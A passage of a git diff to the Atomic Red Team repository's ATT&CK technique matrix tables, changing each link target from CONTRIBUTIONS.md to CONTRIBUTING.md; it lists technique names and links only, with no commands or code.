[System Information Discovery](./T1082/T1082.md) | | | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Logon Scripts](./T1037/T1037.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Rc.common](./T1163/T1163.md) | | [Launchctl](./T1152/T1152.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | [Re-opened Applications](./T1164/T1164.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Trap](./T1154/T1154.md) | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Process Injection](./T1055/T1055.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [Re-opened Applications](./T1164/T1164.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Trap](./T1154/T1154.md) | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Injection](./T1055/T1055.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | | -| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | | | [Space after Filename](./T1151/T1151.md) | | | | | | | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | diff --git a/atomics/matrix.md b/atomics/matrix.md index 28c9ebc8..51b34dd8 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -1,62 +1,62 @@ # All Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Command-Line Interface](./T1059/T1059.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [BITS Jobs](./T1197/T1197.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | [Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Input Capture](./T1056/T1056.md) | [Process Discovery](./T1057/T1057.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Input Capture](./T1056/T1056.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [DCShadow](./T1207/T1207.md) | [Input Prompt](./T1141/T1141.md) | [Query Registry](./T1012/T1012.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote System Discovery](./T1018/T1018.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Screen Capture](./T1113/T1113.md) | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | [Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Mshta](./T1170/T1170.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Information Discovery](./T1082/T1082.md) | [Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [PowerShell](./T1086/T1086.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | [External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Regsvr32](./T1117/T1117.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Plist Modification](./T1150/T1150.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [File Deletion](./T1107/T1107.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Service Discovery](./T1007/T1007.md) | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | [File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Time Discovery](./T1124/T1124.md) | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | -| | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | -| | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Startup Items](./T1165/T1165.md) | [Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | -| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | +| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [BITS Jobs](./T1197/T1197.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | 